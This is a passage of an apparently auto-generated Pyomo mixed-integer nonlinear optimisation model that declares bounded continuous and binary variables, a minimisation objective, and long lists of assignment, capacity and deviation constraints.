Var(within=Reals,bounds=(0,17.2437830768),initialize=0) m.x151 = Var(within=Reals,bounds=(0.25788969,0.35227087),initialize=0.25788969) m.x152 = Var(within=Reals,bounds=(0.25788969,0.35227087),initialize=0.25788969) m.x153 = Var(within=Reals,bounds=(0.25788969,0.35227087),initialize=0.25788969) m.x154 = Var(within=Reals,bounds=(0.25788969,0.35227087),initialize=0.25788969) m.x155 = Var(within=Reals,bounds=(-0.98493628,-0.7794471),initialize=-0.7794471) m.x156 = Var(within=Reals,bounds=(-0.98493628,-0.7794471),initialize=-0.7794471) m.x157 = Var(within=Reals,bounds=(-0.98493628,-0.7794471),initialize=-0.7794471) m.x158 = Var(within=Reals,bounds=(-0.98493628,-0.7794471),initialize=-0.7794471) m.x159 = Var(within=Reals,bounds=(0,0.0580296499999999),initialize=0) m.x160 = Var(within=Reals,bounds=(0,0.0580296499999999),initialize=0) m.x161 = Var(within=Reals,bounds=(0,0.0580296499999999),initialize=0) m.x162 = Var(within=Reals,bounds=(0,0.0580296499999999),initialize=0) m.x163 = Var(within=Reals,bounds=(0,0.0546689399999999),initialize=0) m.x164 = Var(within=Reals,bounds=(0,0.0546689399999999),initialize=0) m.x165 = Var(within=Reals,bounds=(0,0.0546689399999999),initialize=0) m.x166 = Var(within=Reals,bounds=(0,0.0546689399999999),initialize=0) m.x167 = Var(within=Reals,bounds=(0,0.09360565),initialize=0) m.x168 = Var(within=Reals,bounds=(0,0.09360565),initialize=0) m.x169 = Var(within=Reals,bounds=(0,0.09360565),initialize=0) m.x170 = Var(within=Reals,bounds=(0,0.09360565),initialize=0) m.x171 = Var(within=Reals,bounds=(0,0.0476880399999999),initialize=0) m.x172 = Var(within=Reals,bounds=(0,0.0476880399999999),initialize=0) m.x173 = Var(within=Reals,bounds=(0,0.0476880399999999),initialize=0) m.x174 = Var(within=Reals,bounds=(0,0.0476880399999999),initialize=0) m.x175 = Var(within=Reals,bounds=(0,0.05276021),initialize=0) m.x176 = Var(within=Reals,bounds=(0,0.05276021),initialize=0) m.x177 = Var(within=Reals,bounds=(0,0.05276021),initialize=0) m.x178 = Var(within=Reals,bounds=(0,0.05276021),initialize=0) m.x179 = Var(within=Reals,bounds=(0,0.04905388),initialize=0) m.x180 = Var(within=Reals,bounds=(0,0.04905388),initialize=0) m.x181 = Var(within=Reals,bounds=(0,0.04905388),initialize=0) m.x182 = Var(within=Reals,bounds=(0,0.04905388),initialize=0) m.x183 = Var(within=Reals,bounds=(0,0.07731692),initialize=0) m.x184 = Var(within=Reals,bounds=(0,0.07731692),initialize=0) m.x185 = Var(within=Reals,bounds=(0,0.07731692),initialize=0) m.x186 = Var(within=Reals,bounds=(0,0.07731692),initialize=0) m.x187 = Var(within=Reals,bounds=(0,0.08211741),initialize=0) m.x188 = Var(within=Reals,bounds=(0,0.08211741),initialize=0) m.x189 = Var(within=Reals,bounds=(0,0.08211741),initialize=0) m.x190 = Var(within=Reals,bounds=(0,0.08211741),initialize=0) m.x191 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x192 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x193 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x194 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x195 = Var(within=Reals,bounds=(0,0.08436757),initialize=0) m.x196 = Var(within=Reals,bounds=(0,0.08436757),initialize=0) m.x197 = Var(within=Reals,bounds=(0,0.08436757),initialize=0) m.x198 = Var(within=Reals,bounds=(0,0.08436757),initialize=0) m.x199 = Var(within=Reals,bounds=(0,0.06987597),initialize=0) m.x200 = Var(within=Reals,bounds=(0,0.06987597),initialize=0) m.x201 = Var(within=Reals,bounds=(0,0.06987597),initialize=0) m.x202 = Var(within=Reals,bounds=(0,0.06987597),initialize=0) m.x203 = Var(within=Reals,bounds=(0,0.04788831),initialize=0) m.x204 = Var(within=Reals,bounds=(0,0.04788831),initialize=0) m.x205 = Var(within=Reals,bounds=(0,0.04788831),initialize=0) m.x206 = Var(within=Reals,bounds=(0,0.04788831),initialize=0) m.x207 = Var(within=Reals,bounds=(0,0.0668875099999999),initialize=0) m.x208 = Var(within=Reals,bounds=(0,0.0668875099999999),initialize=0) m.x209 = Var(within=Reals,bounds=(0,0.0668875099999999),initialize=0) m.x210 = Var(within=Reals,bounds=(0,0.0668875099999999),initialize=0) m.x211 = Var(within=Reals,bounds=(0,0.07276512),initialize=0) m.x212 = Var(within=Reals,bounds=(0,0.07276512),initialize=0) m.x213 = Var(within=Reals,bounds=(0,0.07276512),initialize=0) m.x214 = Var(within=Reals,bounds=(0,0.07276512),initialize=0) m.x215 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x216 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x217 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x218 = Var(within=Reals,bounds=(0,0.09438118),initialize=0) m.x219 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x220 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x221 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x222 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x223 = Var(within=Reals,bounds=(0,0.1742468),initialize=0) m.x224 = Var(within=Reals,bounds=(0,0.1742468),initialize=0) m.x225 = Var(within=Reals,bounds=(0,0.1742468),initialize=0) m.x226 = Var(within=Reals,bounds=(0,0.1742468),initialize=0) m.x227 = Var(within=Reals,bounds=(0,0.1210427),initialize=0) m.x228 = Var(within=Reals,bounds=(0,0.1210427),initialize=0) m.x229 = Var(within=Reals,bounds=(0,0.1210427),initialize=0) m.x230 = Var(within=Reals,bounds=(0,0.1210427),initialize=0) m.x231 = Var(within=Reals,bounds=(0,0.1319561),initialize=0) m.x232 = Var(within=Reals,bounds=(0,0.1319561),initialize=0) m.x233 = Var(within=Reals,bounds=(0,0.1319561),initialize=0) m.x234 = Var(within=Reals,bounds=(0,0.1319561),initialize=0) m.x235 = Var(within=Reals,bounds=(0,0.12126822),initialize=0) m.x236 = Var(within=Reals,bounds=(0,0.12126822),initialize=0) m.x237 = Var(within=Reals,bounds=(0,0.12126822),initialize=0) m.x238 = Var(within=Reals,bounds=(0,0.12126822),initialize=0) m.x239 = Var(within=Reals,bounds=(0,0.10450574),initialize=0) m.x240 = Var(within=Reals,bounds=(0,0.10450574),initialize=0) m.x241 = Var(within=Reals,bounds=(0,0.10450574),initialize=0) m.x242 = Var(within=Reals,bounds=(0,0.10450574),initialize=0) m.x243 = Var(within=Reals,bounds=(0,0.11691138),initialize=0) m.x244 = Var(within=Reals,bounds=(0,0.11691138),initialize=0) m.x245 = Var(within=Reals,bounds=(0,0.11691138),initialize=0) m.x246 = Var(within=Reals,bounds=(0,0.11691138),initialize=0) m.x247 = Var(within=Reals,bounds=(0,0.17458814),initialize=0) m.x248 = Var(within=Reals,bounds=(0,0.17458814),initialize=0) m.x249 = Var(within=Reals,bounds=(0,0.17458814),initialize=0) m.x250 = Var(within=Reals,bounds=(0,0.17458814),initialize=0) m.x251 = Var(within=Reals,bounds=(0,0.17650501),initialize=0) m.x252 = Var(within=Reals,bounds=(0,0.17650501),initialize=0) m.x253 = Var(within=Reals,bounds=(0,0.17650501),initialize=0) m.x254 = Var(within=Reals,bounds=(0,0.17650501),initialize=0) m.x255 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x256 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x257 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x258 = Var(within=Reals,bounds=(0,0.20548918),initialize=0) m.x259 = Var(within=Reals,bounds=(0,0.18562706),initialize=0) m.x260 = Var(within=Reals,bounds=(0,0.18562706),initialize=0) m.x261 = Var(within=Reals,bounds=(0,0.18562706),initialize=0) m.x262 = Var(within=Reals,bounds=(0,0.18562706),initialize=0) m.x263 = Var(within=Reals,bounds=(0,0.14212895),initialize=0) m.x264 = Var(within=Reals,bounds=(0,0.14212895),initialize=0) m.x265 = Var(within=Reals,bounds=(0,0.14212895),initialize=0) m.x266 = Var(within=Reals,bounds=(0,0.14212895),initialize=0) m.x267 = Var(within=Reals,bounds=(0,0.17114392),initialize=0) m.x268 = Var(within=Reals,bounds=(0,0.17114392),initialize=0) m.x269 = Var(within=Reals,bounds=(0,0.17114392),initialize=0) m.x270 = Var(within=Reals,bounds=(0,0.17114392),initialize=0) m.x271 = Var(within=Reals,bounds=(0,0.1603645),initialize=0) m.x272 = Var(within=Reals,bounds=(0,0.1603645),initialize=0) m.x273 = Var(within=Reals,bounds=(0,0.1603645),initialize=0) m.x274 = Var(within=Reals,bounds=(0,0.1603645),initialize=0) m.x275 = Var(within=Reals,bounds=(0,0.18267189),initialize=0) m.x276 = Var(within=Reals,bounds=(0,0.18267189),initialize=0) m.x277 = Var(within=Reals,bounds=(0,0.18267189),initialize=0) m.x278 = Var(within=Reals,bounds=(0,0.18267189),initialize=0) m.x279 = Var(within=Reals,bounds=(0,0.5323080366),initialize=0) m.x280 = Var(within=Reals,bounds=(0,0.918715169866666),initialize=0) m.x281 = Var(within=Reals,bounds=(0,1.021726146),initialize=0) m.x282 = Var(within=Reals,bounds=(0,1.0706790744),initialize=0) m.x283 = Var(within=Reals,bounds=(0,7.32543671346667),initialize=0) m.x284 = Var(within=Reals,bounds=(0,15.2453990736),initialize=0) m.x285 = Var(within=Reals,bounds=(0,1.28061192466667),initialize=0) m.x286 = Var(within=Reals,bounds=(0,15.8815166933333),initialize=0) m.x287 = Var(within=Reals,bounds=(0,15.2472806811333),initialize=0) m.x288 = Var(within=Reals,bounds=(0,12.029055125),initialize=0) m.x289 = Var(within=Reals,bounds=(0,15.9672360214667),initialize=0) m.x290 = Var(within=Reals,bounds=(0,15.3736631157333),initialize=0) m.x291 = Var(within=Reals,bounds=(0,6.2237284564),initialize=0) m.x292 = Var(within=Reals,bounds=(0,8.85892556),initialize=0) m.x293 = Var(within=Reals,bounds=(0,17.2437830768),initialize=0) m.b294 = Var(within=Binary,bounds=(0,1),initialize=0) m.b295 = Var(within=Binary,bounds=(0,1),initialize=0) m.b296 = Var(within=Binary,bounds=(0,1),initialize=0) m.b297 = Var(within=Binary,bounds=(0,1),initialize=0) m.b298 = Var(within=Binary,bounds=(0,1),initialize=0) m.b299 = Var(within=Binary,bounds=(0,1),initialize=0) m.b300 = Var(within=Binary,bounds=(0,1),initialize=0) m.b301 = Var(within=Binary,bounds=(0,1),initialize=0) m.b302 = Var(within=Binary,bounds=(0,1),initialize=0) m.b303 = Var(within=Binary,bounds=(0,1),initialize=0) m.b304 = Var(within=Binary,bounds=(0,1),initialize=0) m.b305 = Var(within=Binary,bounds=(0,1),initialize=0) m.b306 = Var(within=Binary,bounds=(0,1),initialize=0) m.b307 = Var(within=Binary,bounds=(0,1),initialize=0) m.b308 = Var(within=Binary,bounds=(0,1),initialize=0) m.b309 = Var(within=Binary,bounds=(0,1),initialize=0) m.b310 = Var(within=Binary,bounds=(0,1),initialize=0) m.b311 = Var(within=Binary,bounds=(0,1),initialize=0) m.b312 = Var(within=Binary,bounds=(0,1),initialize=0) m.b313 = Var(within=Binary,bounds=(0,1),initialize=0) m.b314 = Var(within=Binary,bounds=(0,1),initialize=0) m.b315 = Var(within=Binary,bounds=(0,1),initialize=0) m.b316 = Var(within=Binary,bounds=(0,1),initialize=0) m.b317 = Var(within=Binary,bounds=(0,1),initialize=0) m.b318 = Var(within=Binary,bounds=(0,1),initialize=0) m.b319 = Var(within=Binary,bounds=(0,1),initialize=0) m.b320 = Var(within=Binary,bounds=(0,1),initialize=0) m.b321 = Var(within=Binary,bounds=(0,1),initialize=0) m.b322 = Var(within=Binary,bounds=(0,1),initialize=0) m.b323 = Var(within=Binary,bounds=(0,1),initialize=0) m.b324 = Var(within=Binary,bounds=(0,1),initialize=0) m.b325 = Var(within=Binary,bounds=(0,1),initialize=0) m.b326 = Var(within=Binary,bounds=(0,1),initialize=0) m.b327 = Var(within=Binary,bounds=(0,1),initialize=0) m.b328 = Var(within=Binary,bounds=(0,1),initialize=0) m.b329 = Var(within=Binary,bounds=(0,1),initialize=0) m.b330 = Var(within=Binary,bounds=(0,1),initialize=0) m.b331 = Var(within=Binary,bounds=(0,1),initialize=0) m.b332 = Var(within=Binary,bounds=(0,1),initialize=0) m.b333 = Var(within=Binary,bounds=(0,1),initialize=0) m.b334 = Var(within=Binary,bounds=(0,1),initialize=0) m.b335 = Var(within=Binary,bounds=(0,1),initialize=0) m.b336 = Var(within=Binary,bounds=(0,1),initialize=0) m.b337 = Var(within=Binary,bounds=(0,1),initialize=0) m.b338 = Var(within=Binary,bounds=(0,1),initialize=0) m.b339 = Var(within=Binary,bounds=(0,1),initialize=0) m.b340 = Var(within=Binary,bounds=(0,1),initialize=0) m.b341 = Var(within=Binary,bounds=(0,1),initialize=0) m.b342 = Var(within=Binary,bounds=(0,1),initialize=0) m.b343 = Var(within=Binary,bounds=(0,1),initialize=0) m.b344 = Var(within=Binary,bounds=(0,1),initialize=0) m.b345 = Var(within=Binary,bounds=(0,1),initialize=0) m.b346 = Var(within=Binary,bounds=(0,1),initialize=0) m.b347 = Var(within=Binary,bounds=(0,1),initialize=0) m.b348 = Var(within=Binary,bounds=(0,1),initialize=0) m.b349 = Var(within=Binary,bounds=(0,1),initialize=0) m.b350 = Var(within=Binary,bounds=(0,1),initialize=0) m.b351 = Var(within=Binary,bounds=(0,1),initialize=0) m.b352 = Var(within=Binary,bounds=(0,1),initialize=0) m.b353 = Var(within=Binary,bounds=(0,1),initialize=0) m.b354 = Var(within=Binary,bounds=(0,1),initialize=0) m.b355 = Var(within=Binary,bounds=(0,1),initialize=0) m.obj = Objective(expr= m.x136 + m.x137 + m.x138 + m.x139 + m.x140 + m.x141 + m.x142 + m.x143 + m.x144 + m.x145 + m.x146 + m.x147 + m.x148 + m.x149 + m.x150, sense=minimize) m.c2 = Constraint(expr=-(m.x121*m.x61*m.x1 + m.x121*m.x62*m.x2 + m.x121*m.x63*m.x3 + m.x121*m.x64*m.x4) + m.x279 == 0) m.c3 = Constraint(expr=-(m.x122*m.x65*m.x5 + m.x122*m.x66*m.x6 + m.x122*m.x67*m.x7 + m.x122*m.x68*m.x8) + m.x280 == 0) m.c4 = Constraint(expr=-(m.x123*m.x69*m.x9 + m.x123*m.x70*m.x10 + m.x123*m.x71*m.x11 + m.x123*m.x72*m.x12) + m.x281 == 0) m.c5 = Constraint(expr=-(m.x124*m.x73*m.x13 + m.x124*m.x74*m.x14 + m.x124*m.x75*m.x15 + m.x124*m.x76*m.x16) + m.x282 == 0) m.c6 = Constraint(expr=-(m.x125*m.x77*m.x17 + m.x125*m.x78*m.x18 + m.x125*m.x79*m.x19 + m.x125*m.x80*m.x20) + m.x283 == 0) m.c7 = Constraint(expr=-(m.x126*m.x81*m.x21 + m.x126*m.x82*m.x22 + m.x126*m.x83*m.x23 + m.x126*m.x84*m.x24) + m.x284 == 0) m.c8 = Constraint(expr=-(m.x127*m.x85*m.x25 + m.x127*m.x86*m.x26 + m.x127*m.x87*m.x27 + m.x127*m.x88*m.x28) + m.x285 == 0) m.c9 = Constraint(expr=-(m.x128*m.x89*m.x29 + m.x128*m.x90*m.x30 + m.x128*m.x91*m.x31 + m.x128*m.x92*m.x32) + m.x286 == 0) m.c10 = Constraint(expr=-(m.x129*m.x93*m.x33 + m.x129*m.x94*m.x34 + m.x129*m.x95*m.x35 + m.x129*m.x96*m.x36) + m.x287 == 0) m.c11 = Constraint(expr=-(m.x130*m.x97*m.x37 + m.x130*m.x98*m.x38 + m.x130*m.x99*m.x39 + m.x130*m.x100*m.x40) + m.x288 == 0) m.c12 = Constraint(expr=-(m.x131*m.x101*m.x41 + m.x131*m.x102*m.x42 + m.x131*m.x103*m.x43 + m.x131*m.x104*m.x44) + m.x289 == 0) m.c13 = Constraint(expr=-(m.x132*m.x105*m.x45 + m.x132*m.x106*m.x46 + m.x132*m.x107*m.x47 + m.x132*m.x108*m.x48) + m.x290 == 0) m.c14 = Constraint(expr=-(m.x133*m.x109*m.x49 + m.x133*m.x110*m.x50 + m.x133*m.x111*m.x51 + m.x133*m.x112*m.x52) + m.x291 == 0) m.c15 = Constraint(expr=-(m.x134*m.x113*m.x53 + m.x134*m.x114*m.x54 + m.x134*m.x115*m.x55 + m.x134*m.x116*m.x56) + m.x292 == 0) m.c16 = Constraint(expr=-(m.x135*m.x117*m.x57 + m.x135*m.x118*m.x58 + m.x135*m.x119*m.x59 + m.x135*m.x120*m.x60) + m.x293 == 0) m.c17 = Constraint(expr= m.x1 + m.x2 + m.x3 + m.x4 == 1) m.c18 = Constraint(expr= m.x5 + m.x6 + m.x7 + m.x8 == 1) m.c19 = Constraint(expr= m.x9 + m.x10 + m.x11 + m.x12 == 1) m.c20 = Constraint(expr= m.x13 + m.x14 + m.x15 + m.x16 == 1) m.c21 = Constraint(expr= m.x17 + m.x18 + m.x19 + m.x20 == 1) m.c22 = Constraint(expr= m.x21 + m.x22 + m.x23 + m.x24 == 1) m.c23 = Constraint(expr= m.x25 + m.x26 + m.x27 + m.x28 == 1) m.c24 = Constraint(expr= m.x29 + m.x30 + m.x31 + m.x32 == 1) m.c25 = Constraint(expr= m.x33 + m.x34 + m.x35 + m.x36 == 1) m.c26 = Constraint(expr= m.x37 + m.x38 + m.x39 + m.x40 == 1) m.c27 = Constraint(expr= m.x41 + m.x42 + m.x43 + m.x44 == 1) m.c28 = Constraint(expr= m.x45 + m.x46 + m.x47 + m.x48 == 1) m.c29 = Constraint(expr= m.x49 + m.x50 + m.x51 + m.x52 == 1) m.c30 = Constraint(expr= m.x53 + m.x54 + m.x55 + m.x56 == 1) m.c31 = Constraint(expr= m.x57 + m.x58 + m.x59 + m.x60 == 1) m.c32 = Constraint(expr= 2.02*m.x1 + 4.01333333333333*m.x5 + 4.76*m.x9 + 5.96*m.x13 + 42.0933333333333*m.x17 + 99.28*m.x21 + 6.59333333333333*m.x25 + 61.8666666666667*m.x29 + 56.2866666666667*m.x33 + 41.5*m.x37 + 62.4933333333333*m.x41 + 80.9066666666667*m.x45 + 26.1466666666667*m.x49 + 38*m.x53 + 62.24*m.x57 <= 153.54) m.c33 = Constraint(expr= 2.02*m.x2 + 4.01333333333333*m.x6 + 4.76*m.x10 + 5.96*m.x14 + 42.0933333333333*m.x18 + 99.28*m.x22 + 6.59333333333333*m.x26 + 61.8666666666667*m.x30 + 56.2866666666667*m.x34 + 41.5*m.x38 + 62.4933333333333*m.x42 + 80.9066666666667*m.x46 + 26.1466666666667*m.x50 + 38*m.x54 + 62.24*m.x58 <= 153.54) m.c34 = Constraint(expr= 2.02*m.x3 + 4.01333333333333*m.x7 + 4.76*m.x11 + 5.96*m.x15 + 42.0933333333333*m.x19 + 99.28*m.x23 + 6.59333333333333*m.x27 + 61.8666666666667*m.x31 + 56.2866666666667*m.x35 + 41.5*m.x39 + 62.4933333333333*m.x43 + 80.9066666666667*m.x47 + 26.1466666666667*m.x51 + 38*m.x55 + 62.24*m.x59 <= 153.54) m.c35 = Constraint(expr= 2.02*m.x4 + 4.01333333333333*m.x8 + 4.76*m.x12 + 5.96*m.x16 + 42.0933333333333*m.x20 + 99.28*m.x24 + 6.59333333333333*m.x28 + 61.8666666666667*m.x32 + 56.2866666666667*m.x36 + 41.5*m.x40 + 62.4933333333333*m.x44 + 80.9066666666667*m.x48 + 26.1466666666667*m.x52 + 38*m.x56 + 62.24*m.x60 <= 153.54) m.c36 = Constraint(expr= m.x151 + m.x159 >= 0.29424122) m.c37 = Constraint(expr= m.x152 + m.x160 >= 0.29424122) m.c38 = Constraint(expr= m.x153 + m.x161 >= 0.29424122) m.c39 = Constraint(expr= m.x154 + m.x162 >= 0.29424122) m.c40 = Constraint(expr= m.x151 + m.x163 >= 0.29760193) m.c41 = Constraint(expr= m.x152 + m.x164 >= 0.29760193) m.c42 = Constraint(expr= m.x153 + m.x165 >= 0.29760193) m.c43 = Constraint(expr= m.x154 + m.x166 >= 0.29760193) m.c44 = Constraint(expr= m.x151 + m.x167 >= 0.35149534) m.c45 = Constraint(expr= m.x152 + m.x168 >= 0.35149534) m.c46 = Constraint(expr= m.x153 + m.x169 >= 0.35149534) m.c47 = Constraint(expr= m.x154 + m.x170 >= 0.35149534) m.c48 = Constraint(expr= m.x151 + m.x171 >= 0.30458283) m.c49 = Constraint(expr= m.x152 + m.x172 >= 0.30458283) m.c50 = Constraint(expr= m.x153 + m.x173 >= 0.30458283) m.c51 = Constraint(expr= m.x154 + m.x174 >= 0.30458283) m.c52 = Constraint(expr= m.x151 + m.x175 >= 0.29951066) m.c53 = Constraint(expr= m.x152 + m.x176 >= 0.29951066) m.c54 = Constraint(expr= m.x153 + m.x177 >= 0.29951066) m.c55 = Constraint(expr= m.x154 + m.x178 >= 0.29951066) m.c56 = Constraint(expr= m.x151 + m.x179 >= 0.30694357) m.c57 = Constraint(expr= m.x152 + m.x180 >= 0.30694357) m.c58 = Constraint(expr= m.x153 + m.x181 >= 0.30694357) m.c59 = Constraint(expr= m.x154 + m.x182 >= 0.30694357) m.c60 = Constraint(expr= m.x151 + m.x183 >= 0.33520661) m.c61 = Constraint(expr= m.x152 + m.x184 >= 0.33520661) m.c62 = Constraint(expr= m.x153 + m.x185 >= 0.33520661) m.c63 = Constraint(expr= m.x154 + m.x186 >= 0.33520661) m.c64 = Constraint(expr= m.x151 + m.x187 >= 0.3400071) m.c65 = Constraint(expr= m.x152 + m.x188 >= 0.3400071) m.c66 = Constraint(expr= m.x153 + m.x189 >= 0.3400071) m.c67 = Constraint(expr= m.x154 + m.x190 >= 0.3400071) m.c68 = Constraint(expr= m.x151 + m.x191 >= 0.35227087) m.c69 = Constraint(expr= m.x152 + m.x192 >= 0.35227087) m.c70 = Constraint(expr= m.x153 + m.x193 >= 0.35227087) m.c71 = Constraint(expr= m.x154 + m.x194 >= 0.35227087) m.c72 = Constraint(expr= m.x151 + m.x195 >= 0.34225726) m.c73 = Constraint(expr= m.x152 + m.x196 >= 0.34225726) m.c74 = Constraint(expr= m.x153 + m.x197 >= 0.34225726) m.c75 = Constraint(expr= m.x154 + m.x198 >= 0.34225726) m.c76 = Constraint(expr= m.x151 + m.x199 >= 0.32776566) m.c77 = Constraint(expr= m.x152 + m.x200 >= 0.32776566) m.c78 = Constraint(expr= m.x153 + m.x201 >= 0.32776566) m.c79 = Constraint(expr= m.x154 + m.x202 >= 0.32776566) m.c80 = Constraint(expr= m.x151 + m.x203 >= 0.30438256) m.c81 = Constraint(expr= m.x152 + m.x204 >= 0.30438256) m.c82 = Constraint(expr= m.x153 + m.x205 >= 0.30438256) m.c83 = Constraint(expr= m.x154 + m.x206 >= 0.30438256) m.c84 = Constraint(expr= m.x151 + m.x207 >= 0.28538336) m.c85 = Constraint(expr= m.x152 + m.x208 >= 0.28538336) m.c86 = Constraint(expr= m.x153 + m.x209 >= 0.28538336) m.c87 = Constraint(expr= m.x154 + m.x210 >= 0.28538336) m.c88 = Constraint(expr= m.x151 + m.x211 >= 0.27950575) m.c89 = Constraint(expr= m.x152 + m.x212 >= 0.27950575) m.c90 = Constraint(expr= m.x153 + m.x213 >= 0.27950575) m.c91 = Constraint(expr= m.x154 + m.x214 >= 0.27950575) m.c92 = Constraint(expr= - m.x151 + m.x159 >= -0.29424122) m.c93 = Constraint(expr= - m.x152 + m.x160 >= -0.29424122) m.c94 = Constraint(expr= - m.x153 + m.x161 >= -0.29424122) m.c95 = Constraint(expr= - m.x154 + m.x162 >= -0.29424122) m.c96 = Constraint(expr= - m.x151 + m.x163 >= -0.29760193) m.c97 = Constraint(expr= - m.x152 + m.x164 >= -0.29760193) m.c98 = Constraint(expr= - m.x153 + m.x165 >= -0.29760193) m.c99 = Constraint(expr= - m.x154 + m.x166 >= -0.29760193) m.c100 = Constraint(expr= - m.x151 + m.x167 >= -0.35149534) m.c101 = Constraint(expr= - m.x152 + m.x168 >= -0.35149534) m.c102 = Constraint(expr= - m.x153 + m.x169 >= -0.35149534) m.c103 = Constraint(expr= - m.x154 + m.x170 >= -0.35149534) m.c104 = Constraint(expr= - m.x151 + m.x171 >= -0.30458283) m.c105 = Constraint(expr= - m.x152 + m.x172 >= -0.30458283) m.c106 = Constraint(expr= - m.x153 + m.x173 >= -0.30458283) m.c107 = Constraint(expr= - m.x154 + m.x174 >= -0.30458283) m.c108 = Constraint(expr= - m.x151 + m.x175 >= -0.29951066) m.c109 = Constraint(expr= - m.x152 + m.x176 >= -0.29951066) m.c110 = Constraint(expr= - m.x153 + m.x177 >= -0.29951066) m.c111 = Constraint(expr= - m.x154 + m.x178 >= -0.29951066) m.c112 = Constraint(expr= - m.x151 + m.x179 >= -0.30694357) m.c113 = Constraint(expr= - m.x152 + m.x180 >= -0.30694357) m.c114 = Constraint(expr= - m.x153 + m.x181 >= -0.30694357) m.c115 = Constraint(expr= - m.x154 + m.x182 >= -0.30694357) m.c116 = Constraint(expr= - m.x151 + m.x183 >= -0.33520661) m.c117 = Constraint(expr= - m.x152 + m.x184 >= -0.33520661) m.c118 = Constraint(expr= - m.x153 + m.x185 >= -0.33520661) m.c119 = Constraint(expr= - m.x154 + m.x186 >= -0.33520661) m.c120 = Constraint(expr= - m.x151 + m.x187 >= -0.3400071) m.c121 = Constraint(expr= - m.x152 + m.x188 >= -0.3400071) m.c122 = Constraint(expr= - m.x153 + m.x189 >= -0.3400071) m.c123 = Constraint(expr= - m.x154 + m.x190 >= -0.3400071) m.c124 = Constraint(expr= - m.x151 + m.x195 >= -0.34225726) m.c125 = Constraint(expr= - m.x152 + m.x196 >= -0.34225726) m.c126 = Constraint(expr= - m.x153 + m.x197 >= -0.34225726) m.c127 = Constraint(expr= - m.x154 + m.x198 >= -0.34225726) m.c128 = Constraint(expr= - m.x151 + m.x199 >= -0.32776566) m.c129 = Constraint(expr= - m.x152 + m.x200 >= -0.32776566) m.c130 = Constraint(expr= - m.x153 + m.x201 >= -0.32776566) m.c131 = Constraint(expr= - m.x154 + m.x202 >= -0.32776566) m.c132 = Constraint(expr= - m.x151 + m.x203 >= -0.30438256) m.c133 = Constraint(expr= - m.x152 + m.x204 >= -0.30438256) m.c134 = Constraint(expr= - m.x153 + m.x205 >= -0.30438256) m.c135 = Constraint(expr= - m.x154 + m.x206 >= -0.30438256) m.c136 = Constraint(expr= - m.x151 + m.x207 >= -0.28538336) m.c137 = Constraint(expr= - m.x152 + m.x208 >= -0.28538336) m.c138 = Constraint(expr= - m.x153 + m.x209 >= -0.28538336) m.c139 = Constraint(expr= - m.x154 + m.x210 >= -0.28538336) m.c140 = Constraint(expr= - m.x151 + m.x211 >= -0.27950575) m.c141 = Constraint(expr= - m.x152 + m.x212 >= -0.27950575) m.c142 = Constraint(expr= - m.x153 + m.x213 >= -0.27950575) m.c143 = Constraint(expr= - m.x154 + m.x214 >= -0.27950575) m.c144 = Constraint(expr= - m.x151 + m.x215 >= -0.25788969) m.c145 = Constraint(expr= - m.x152 + m.x216 >= -0.25788969) m.c146 = Constraint(expr= - m.x153 + m.x217 >= -0.25788969) m.c147 = Constraint(expr= - m.x154 + m.x218 >= -0.25788969) m.c148 = Constraint(expr= m.x155 + m.x223 >= -0.9536939) m.c149 = Constraint(expr= m.x156 + m.x224 >= -0.9536939) m.c150 = Constraint(expr= m.x157 + m.x225 >= -0.9536939) m.c151 = Constraint(expr= m.x158 + m.x226 >= -0.9536939) m.c152 = Constraint(expr= m.x155 + m.x227 >= -0.9004898) m.c153 = Constraint(expr= m.x156 + m.x228 >= -0.9004898) m.c154 = Constraint(expr= m.x157 + m.x229 >= -0.9004898) m.c155 = Constraint(expr= m.x158 + m.x230 >= -0.9004898) m.c156 = Constraint(expr= m.x155 + m.x231 >= -0.9114032) m.c157 = Constraint(expr= m.x156 + m.x232 >= -0.9114032) m.c158 = Constraint(expr= m.x157 + m.x233 >= -0.9114032) m.c159 = Constraint(expr= m.x158 + m.x234 >= -0.9114032) m.c160 = Constraint(expr= m.x155 + m.x235 >= -0.90071532) m.c161 = Constraint(expr= m.x156 + m.x236 >= -0.90071532) m.c162 = Constraint(expr= m.x157 + m.x237 >= -0.90071532) m.c163 = Constraint(expr= m.x158 + m.x238 >= -0.90071532) m.c164 = Constraint(expr= m.x155 + m.x239 >= -0.88043054) m.c165 = Constraint(expr= m.x156 + m.x240 >= -0.88043054) m.c166 = Constraint(expr= m.x157 + m.x241 >= -0.88043054) m.c167 = Constraint(expr= m.x158 + m.x242 >= -0.88043054) m.c168 = Constraint(expr= m.x155 + m.x243 >= -0.8680249) m.c169 = Constraint(expr= m.x156 + m.x244 >= -0.8680249) m.c170 = Constraint(expr= m.x157 + m.x245 >= -0.8680249) m.c171 = Constraint(expr= m.x158 + m.x246 >= -0.8680249) m.c172 = Constraint(expr= m.x155 + m.x247 >= -0.81034814) m.c173 = Constraint(expr= m.x156 + m.x248 >= -0.81034814) m.c174 = Constraint(expr= m.x157 + m.x249 >= -0.81034814) m.c175 = Constraint(expr= m.x158 + m.x250 >= -0.81034814) m.c176 = Constraint(expr= m.x155 + m.x251 >= -0.80843127) m.c177 = Constraint(expr= m.x156 + m.x252 >= -0.80843127) m.c178 = Constraint(expr= m.x157 + m.x253 >= -0.80843127) m.c179 = Constraint(expr= m.x158 + m.x254 >= -0.80843127) m.c180 = Constraint(expr= m.x155 + m.x255 >= -0.7794471) m.c181 = Constraint(expr= m.x156 + m.x256 >= -0.7794471) m.c182 = Constraint(expr= m.x157 + m.x257 >= -0.7794471) m.c183 = Constraint(expr= m.x158 + m.x258 >= -0.7794471) m.c184 = Constraint(expr= m.x155 + m.x259 >= -0.79930922) m.c185 = Constraint(expr= m.x156 + m.x260 >= -0.79930922) m.c186 = Constraint(expr= m.x157 + m.x261 >= 